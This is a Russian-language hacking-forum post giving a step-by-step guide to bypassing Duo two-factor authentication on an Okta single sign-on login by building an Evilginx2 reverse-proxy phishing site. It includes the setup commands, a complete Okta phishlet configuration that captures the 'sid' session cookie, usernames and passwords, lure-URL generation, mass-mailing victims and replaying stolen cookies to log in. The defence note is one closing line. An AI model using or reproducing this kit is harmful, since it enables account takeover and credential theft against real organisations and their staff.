Загрузка...

New ******** method defeats 2fa

Thread in Web vulnerabilities created by Besstydnik Dec 27, 2018. 785 views

  1. Besstydnik
    Besstydnik Topic starter Dec 27, 2018 Banned 154 Oct 6, 2018
    Бывают случаи, когда тебе нужно кого-то зафишить. Бывает, когда у целевой организации настроен второй фактор для аутентификации — sms, Google authenticator, Duo. Что делать в таких случаях? Нанимать гопников? Подрезать телефоны у сотрудников? Нет! Оказывается, хитрые хакеры написали софт, способный помочь в этой непростой ситуации.



    Evilginx2 — фреймворк для ******а, работающий как ****** между жертвой и сайтом, учетки от которого мы хотим получить. Раньше он использовал кастомный nginx, теперь же полностью переписан на Go, включает в себя мини HTTP и DNS серверы, что сильно облегчает установку и развертывание.



    Как это работает? Автор софта подробно описал на своем сайте, детали по установке и настройке можно найти на github странице проекта. Почему же удается обойти второй фактор? Фишка в том, что мы не вмешиваемся в процесс ввода кода из смс / временного пароля / пуша от DUO. Мы тихо ждем, пока пользователь успешно пройдет все шаги аутентификации, ловим его куку, и уже ее используем для входа. Попутно на всякий случай собираем его логин и пароль.

    В этой же заметке я расскажу о своем опыте и подводных камнях, с которыми столкнулся.



    Задача


    Итак, нам нужно зафишить контору, которая активно использует Okta как Single Sign-on. В качестве второго фактора используется Duo — решение, фишка которого в мобильном клиенте, позволяющем подтверждать второй фактор через обычные пуш-нотификации вместо ввода 35-значных кодов (привет Google Authenticator). Приступим.



    Шаг первый — регистрируем ******овый домен


    В панели нашего провайдера указываем адрес сервера, на котором будет расположен ******. Также регистрируем поддомен вида okta.<******овый домен>.com.



    [IMG]




    Шаг второй — настраиваем Evilginx


    Запускаем Evilginx и через команду config вводим необходимые настройки. Указываем основной домен (не поддомен) и его IP.



    Code
    config domain <******овый домен>.com
    config ip 10.0.0.1



    В итоге конфиг выглядит так:



    [IMG]




    Интересен тут параметр redirect_url — он указывает куда перенаправлять запрос, когда клиент пришел в корень нашего домена. Зачем это сделано? Если отдавать ******овую страницу из корня, домен очень быстро вычислят и внесут в списки опасных сайтов, браузеры будут грозно ругаться, и пользователи никогда к нам не попадут. Поэтому мы ее будем отдавать по уникальной ссылке, а корень будет перенаправлять на песню Never Gonna Give You Up.



    Шаг третий — настраиваем ******овую страницу


    Тут начинается самое интересное. Так как по-факту на нашем сервере мы вообще не хостим никакого контента, а только проксируем запросы, нам нужно "рассказать" Evilginx, какие именно данные мы хотим получить. Этот "рассказ" мы пишем в специальном формате. Документация по нему доступна на wikiстранице проекта. Называются эти описания phishlets. Для некоторых популярных сервисов — facebook, linkedin, amazon они уже написаны и включены в дистрибутив. Нам повезло меньше, из коробки Okta не поддерживается, но добрые люди написали phishlet для старойверсии. Берем напильник и начинаем паять.



    Заполняем описание, указываем имя phishlet, авторов, и требуемую версию Evilginx.



    Code
    name: 'okta'
    author: '@ml_siegel, updated by @hollow1'
    min_ver: '2.2.0'



    Указываем, какой именно домен собираемся фишить. В нашем случае используется домен вида <имя целевой компании>.okta.com.


    Code

    proxy_hosts:
    - {phish_sub: '', orig_sub: '<поддомен имя целевой компании>', domain: 'okta.com', session: true, is_landing: true}



    Параметр session указывает на то, что именно этот домен отдает нужные нам куки и туда передаются учетные данные, is_landing значит что этот хост будет использоваться для генерации ******овых URL.



    Следующий важный этап — определить все запросы к целевому домену, для того чтобы ****** успешно их переписала на ******овый домен. Если этого не сделать, пользователь будет отправлять данные не нам, а сразу на оригинальный домен, и никаких учеток мы не поймаем. Переписывать нужно только те запросы, которые непосредственно участвуют в процессе входа пользователя на сайт.



    Чтобы четко понимать, что именно требуется для успешной аутентификации, нужно внимательно этот самый процесс изучить. Вооружившись Burp и тестовой учеткой начинаем искать как передается пароль и по каким кукам приложение определяет авторизованного пользователя. Также ищем ответы от сервера, в которых есть ссылки на оригинальный домен.



    Находим запрос, в котором передается логин и пароль. Видим что он шлется на оригинальный домен, а нужно чтобы уходил нам.



    [IMG]




    Вот здесь видно, как оригинальный домен отдает ссылки внутри javascript, их нужно переписать.



    [IMG]




    Собрав это и еще пару запросов получаем следующие настройки:



    Code
    sub_filters:
    - {triggers_on: '<целевой домен>.okta.com', orig_sub: '<целевой домен>', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']}
    - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
    - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}
    - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F<целевой домен>.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}



    Ключевое слово {hostname} как раз используется для замены оригинального домена на ******овый. Подробнее о синтаксисе этой секции написано тут.



    Помните, нам нужны куки, с которыми мы будем авторизоваться на сайте. Путем проб и ошибок выясняем имя куки — sid, и дописываем его в настройки:



    Code
    auth_tokens:
    - domain: '<целевой домен>.okta.com'
    keys: ['sid']



    Также нам пригодится логин и пароль пользователя, мы уже нашли запрос, в котором они передаются. Как видно в запросе, нужные нам параметры username и password передаются в json, дописываем:


    Code

    credentials:
    username:
    key: 'username'
    search: '"username":"([^"]*)'
    type: 'json'
    password:
    key: 'password'
    search: '"password":"([^"]*)'
    type: 'json'



    Так Evilginx сможет вычленять их из запросов и корректно сохранять.



    Осталось немного. Укажем URL страницы логина на целевом домене.



    Code
    landing_path:
    - '/login/login.htm'



    Укажем URL, по которому мы поймем, что пользователь успешно авторизован.



    Code
    auth_urls:
    - 'app/UserHome'



    Вот и все! Конфиг целиком:



    Code
    name: 'okta'
    author: '@ml_siegel, updated by @hollow1'
    min_ver: '2.2.0'
    proxy_hosts:
    - {phish_sub: '', orig_sub: '<поддомен имя целевой компании>'', domain: 'okta.com', session: true, is_landing: true}
    sub_filters:
    sub_filters:
    - {triggers_on: '<целевой домен>.okta.com', orig_sub: '<целевой домен>', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']}
    - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
    - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}
    - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F<целевой домен>.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}
    - domain: '<целевой подомен>.okta.com'
    keys: ['sid']
    credentials:
    username:
    key: 'username'
    search: '"username":"([^"]*)'
    type: 'json'
    password:
    key: 'password'
    search: '"password":"([^"]*)'
    type: 'json'
    landing_path:
    - '/login/login.htm'
    auth_urls:
    - 'app/UserHome'



    Сохраняем его как okta.yaml в /usr/share/evilginx/phishlets.



    Шаг четвертый — включаем наш новый ******


    Запускаем evilginx и пишем команду



    Code
    phishlets hostname okta okta.<наш ******овый домен>.com



    Включаем phishlet.



    Code
    phishlets enable okta



    Под него автоматически создается сертификат от LetsEncrypt.

    Проверяем настройки:



    [IMG]




    Указываем, куда будем редиректить пользователя после успешной авторизации


    Code

    phishlets get-url okta https://<целевой домен>.okta.com/



    Приложение выдаст ссылку, которую нужно рассылать пользователям, вида https://<******овый домен>.com/login/login.htm?rb=9ffe&ec=<уникальный хеш>



    Шаг 4 — ждем улов


    Рассылаем письма (технологии рассылки — материал для отдельной статьи) и ждем.

    Неокрепший доверчивый пользователь идет по ссылке и авторизуется. Видим мы это так:



    [IMG]




    Все пойманные учетки складываются в sessions. Выбираем нужную и копируем из нее куки:



    https://habrastorage.org/webt/z7/22/**/z722hh8g8oxzy8zewtzppg3pa5s.png




    Открываем бразуер, подставляем куки и вуаля — мы внутри:



    [IMG]




    Послесловие


    Evilginx сильно упрощает создание ******овых страниц, особенно для 2FA. Также эти страницы удобно хранить и делиться ими с друзьями. Способы защиты — использование девайсов стандарта U2F, переход на новые методыаутентификации.
     
Loading...
Top